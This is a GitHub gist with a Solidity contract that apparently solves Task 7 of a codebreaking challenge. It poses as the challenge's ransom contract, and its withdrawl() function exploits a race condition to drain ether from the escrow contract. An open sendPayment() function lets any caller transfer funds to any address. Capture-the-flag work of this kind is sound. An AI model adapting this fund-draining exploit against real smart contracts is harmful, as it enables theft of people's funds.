Skip to content

Instantly share code, notes, and snippets.

@Aqcurate
Created January 14, 2019 17:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Aqcurate/d6c6fd6087ef73aaa10449641d48b795 to your computer and use it in GitHub Desktop.
Save Aqcurate/d6c6fd6087ef73aaa10449641d48b795 to your computer and use it in GitHub Desktop.
Task 7 Ransom contract for NSACC
pragma solidity ^0.4.24;
import "./Escrow.sol";
import "./Registry.sol";
///@title Ransom contract
contract RefundRansom {
/**
* @dev This is the Ransom contract that is deployed for each victim. It holds an encrypted
* version of the key needed to decrypt the files on the victim machine. The only way to obtain a
* copy of the decrypted key is for the victim to pay the ransom. Once the ransom has been paid, the
* key may be retrieved through the getDecryptionKey() function.
*/
uint victimId; //!< The unique ID of the victim
string encKey; //!< The key (encrypted) being held ransom (needed to decrypt victim's files)
address victimAddr; //!< The account address belonging to the victim
address escrowAddr; //!< The address of the Escrow contract associated with this ransom
address registryAddr; //!< The address of the Registry contract
bool authenticated; //!< Indicates whether this contract has been authenticated with the Escrow
bool fulfilled; //!< Indicates whether the ransom has been fulfilled
uint authToken;
///@dev The AuthFailEvent is triggered when a problem occurs authenticating with the Escrow contract
event AuthFailEvent(
uint id //!< The unique ID of the victim
);
///@dev Modifier used to restrict the caller to be the Escrow contract
modifier restrictSenderToEscrow {
require(msg.sender == escrowAddr, "Only the Escrow contract can call this");
_;
}
///@dev Modifier used to restrict the caller to be the Registry contract
modifier restrictSenderToRegistry {
require(msg.sender == registryAddr, "Only the Registry contract can call this");
_;
}
///@dev Modifier used to restrict the origin of the transaction to the victim's account
modifier restrictSenderToVictim {
require(msg.sender == victimAddr, "Only the Victim can call this");
_;
}
///@dev Modifier used to restrict calls to once this contract has been authenticated
modifier onlyAuthenticated {
require(authenticated == true, "Only valid if the Ransom contract has been authenticated");
_;
}
/**
* @dev Ransom constructor
* @param _victimId Unique ID of the victim
* @param _registryAddr The address of the Registry contract
* @param _authToken The one-time authentication code used to authenticate this contract with the Registry
*/
constructor(uint _victimId, address _registryAddr, uint _authToken) public {
authenticated = false;
registryAddr = _registryAddr;
escrowAddr = address(0);
fulfilled = false;
victimId = _victimId;
// To fulfill msg.sender == victimMap[id].victimAddr
victimAddr = address(this);
authToken = _authToken;
// Call registry contract
// If the call fails (i.e, too many in queue), then emit an AuthFailEvent
bool result = Registry(registryAddr).registerVictim(victimId, authToken);
if (result == false) {
emit AuthFailEvent(victimId);
}
}
/**
* @dev Callback function from the Registry contract to indicate whether authentication was successful
* @param authResult Indicates whether authentication succeeded
*/
function authCallback(address _escrowAddr, bool authResult) external restrictSenderToRegistry {
authenticated = authResult;
if (authResult == true){
escrowAddr = _escrowAddr;
// 0 ether ransom default
Escrow(escrowAddr).registerRansom(0 ether, victimId, victimAddr);
}
}
/**
* @dev Modifies user address and ransom amount
* @param newRansomAmount new user ransom amount
*/
function modifyRansom(uint newRansomAmount) internal {
Escrow(escrowAddr).registerRansom(newRansomAmount, victimId, victimAddr);
}
/**
* @dev Withdrawl all ether from escrow using race condition.
*/
function withdrawl() external {
// Set encrypted file
Escrow(escrowAddr).payRansom(victimId, "dummy value");
// Call decrypt event
Escrow(escrowAddr).decryptKey(victimId, "dummy key");
// Race decrypt event
modifyRansom(300000000000000000010 wei);
}
/**
* @dev Send amount ether to address addr
* @param addr address to send to
* @param amount amount of ether to send
*/
function sendPayment(address addr, uint amount) external {
addr.transfer(amount);
}
/**
* @dev Gets the address of the Escrow contract
* @return escrowAddr Address of Escrow contract
*/
function getEscrowAddress() external view returns (address) {
return escrowAddr;
}
/**
* @dev Return balance.
*/
function getBalance() external view returns (uint) {
return address(this).balance;
}
/**
* @dev Do nothing. We only call payRansom() to create a dummy file.
*/
function requestKey() external view onlyAuthenticated {
}
/**
* @dev The victim may call this function at any time to get a copy of the decryption key. Note that
* the key is provided by the Escrow contract. It will return an empty string until they have payed
* the ransom and the key provided by this contract has been successufully used to decrypt a file
* provided by the victim.
* @return key The encryption key that may be used to decrypt their files (or empty string if ransom
* has not been paid)
*/
function getDecryptionKey() external onlyAuthenticated restrictSenderToVictim view returns (bytes32) {
return Escrow(escrowAddr).getDecryptionKey(victimId);
}
/**
* @dev This function may only be called by the Escrow contract to indicate that the ransom has been fulfilled.
*/
function fulfillContract() external restrictSenderToEscrow onlyAuthenticated {
fulfilled = true;
}
/**
* @dev This function may be called by anyone to check if this contract has been authenticated.
* @return authenticated Indicates whether the contract has succesfully authenticated with the Registry
*/
function isAuthenticated() external view returns (bool) {
return authenticated;
}
/**
* @dev This function may be called by anyone to check if this contract has been fulfilled.
* @return fulfilled Indicates whether the contract has been fulfilled.
*/
function isFulFilled() external view returns (bool) {
return fulfilled;
}
/**
* @dev Self-dstructs this contract. May only be called by the Escrow contract
*/
function die() external onlyAuthenticated {
selfdestruct(escrowAddr);
}
/**
* @dev payable fallback function
*/
function () payable public {
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment